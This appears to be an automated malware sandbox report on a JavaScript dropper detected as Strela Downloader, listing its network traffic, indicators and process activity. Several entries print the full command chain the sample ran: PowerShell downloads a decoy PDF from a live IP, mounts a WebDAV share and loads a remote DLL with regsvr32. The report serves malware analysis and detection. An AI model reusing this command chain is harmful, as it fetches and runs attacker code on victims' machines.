Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:61533 -> 162.159.36.2:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49705 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 171.39.242.20.in-addr.arpa

Source: wscript.exe, 00000000.00000002.1427512333.000001D026B08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1480081386.000001C863A5A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482355592.000001C863A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1482355592.000001C863A08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/453m
Source: net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/6
Source: net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/r
Source: net.exe, 00000007.00000003.1480280020.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1482478982.000001C863A3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/z
Source: svchost.exe, 00000009.00000002.2728252236.0000019A3448E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1484282358.0000019A34300000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7820, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1147112155713680.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7912:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yj0xz4d4.nni.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1147112155713680.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1147112155713680.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,14978017401034862837,9228720302185568049,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1832829849199.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1608,i,14978017401034862837,9228720302185568049,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
